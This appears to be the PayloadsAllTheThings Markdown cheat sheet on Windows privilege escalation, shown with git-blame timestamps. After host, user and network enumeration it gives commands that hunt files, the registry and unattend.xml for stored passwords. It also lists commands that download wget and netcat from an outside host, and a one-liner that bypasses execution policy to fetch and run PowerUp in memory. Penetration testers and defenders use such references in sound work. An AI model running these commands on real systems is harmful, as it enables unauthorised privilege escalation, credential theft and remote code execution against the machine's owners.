PayloadsAllTheThings/Methodology and Resources/Windows - Privilege Escalat...

222 lines
4.6 KiB
Markdown
Raw Normal View History

# Windows - Privilege Escalation
2018-08-12 21:30:22 +00:00
Almost all of the following commands are from [The Open Source Windows Privilege Escalation Cheat Sheet](https://addaxsoft.com/wpecs/)
## Windows Version and Configuration
2018-08-12 21:30:22 +00:00
```powershell
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
```
Architecture
2018-08-12 21:30:22 +00:00
```powershell
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
```
List all env variables
2018-08-12 21:30:22 +00:00
```powershell
set
```
List all drives
2018-08-12 21:30:22 +00:00
```powershell
wmic logicaldisk get caption || fsutil fsinfo drives
```
## User Enumeration
Get current username
2018-08-12 21:30:22 +00:00
```powershell
echo %USERNAME% || whoami
```
List all users
2018-08-12 21:30:22 +00:00
```powershell
net user
whoami /all
```
List logon requirements; useable for bruteforcing
2018-08-12 21:30:22 +00:00
```powershell
net accounts
```
Get details about a user (i.e. administrator, admin, current user)
2018-08-12 21:30:22 +00:00
```powershell
net user administrator
net user admin
net user %USERNAME%
```
List all local groups
2018-08-12 21:30:22 +00:00
```powershell
net localgroup
```
Get details about a group (i.e. administrators)
2018-08-12 21:30:22 +00:00
```powershell
net localgroup administrators
```
## Network Enumeration
List all network interfaces
2018-08-12 21:30:22 +00:00
```powershell
ipconfig /all
```
List current routing table
2018-08-12 21:30:22 +00:00
```powershell
route print
```
List the ARP table
2018-08-12 21:30:22 +00:00
```powershell
arp -A
```
List all current connections
2018-08-12 21:30:22 +00:00
```powershell
netstat -ano
```
List firware state and current configuration
2018-08-12 21:30:22 +00:00
```powershell
netsh advfirewall firewall dump
```
List all network shares
2018-08-12 21:30:22 +00:00
```powershell
net share
```
## Looting for passwords
### Search for file contents**
2018-08-12 21:30:22 +00:00
```powershell
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
```
### Search for a file with a certain filename
2018-08-12 21:30:22 +00:00
```powershell
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
```
### Search the registry for key names
2018-08-12 21:30:22 +00:00
```powershell
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
```
### Read a value of a certain sub key
2018-08-12 21:30:22 +00:00
```powershell
REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList
```
### Password in unattend.xml
2018-08-12 21:30:22 +00:00
Location of the unattend.xml files
2018-08-12 21:30:22 +00:00
```powershell
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
```
Example content
2018-08-12 21:30:22 +00:00
```powershell
2018-08-12 21:30:22 +00:00
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>*SENSITIVE*DATA*DELETED*</Password>
2018-08-12 21:30:22 +00:00
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
```
2018-08-12 21:30:22 +00:00
The Metasploit module `post/windows/gather/enum_unattend` looks for these files.
## Processes Enum
2018-08-12 21:30:22 +00:00
What processes are running?
2018-08-12 21:30:22 +00:00
```powershell
tasklist /v
```
Which processes are running as "system"
2018-08-12 21:30:22 +00:00
```powershell
tasklist /v /fi "username eq system"
```
Do you have powershell magic?
2018-08-12 21:30:22 +00:00
```powershell
REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
```
## Uploading / Downloading files
2018-08-12 21:30:22 +00:00
a wget using powershell
2018-08-12 21:30:22 +00:00
```powershell
powershell -Noninteractive -NoProfile -command "wget https://addaxsoft.com/download/wpecs/wget.exe -UseBasicParsing -OutFile %TEMP%\wget.exe"
```
wget using bitsadmin (when powershell is not present)
2018-08-12 21:30:22 +00:00
```powershell
cmd /c "bitsadmin /transfer myjob /download /priority high https://addaxsoft.com/download/wpecs/wget.exe %TEMP%\wget.exe"
```
now you have wget.exe that can be executed from %TEMP%wget for example I will use it here to download netcat
2018-08-12 21:30:22 +00:00
```powershell
%TEMP%\wget https://addaxsoft.com/download/wpecs/nc.exe
```
## Spot the weak service using PowerSploit's PowerUP
2018-08-12 21:30:22 +00:00
```powershell
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks
```
## Thanks to
2018-08-12 21:30:22 +00:00
* [The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte](https://addaxsoft.com/wpecs/)
* [Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
* [Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html)
* [TOP10 ways to boost your privileges in Windows systems - hackmag](https://hackmag.com/security/elevating-privileges-to-administrative-and-further/)
* [The SYSTEM Challenge](https://decoder.cloud/2017/02/21/the-system-challenge/)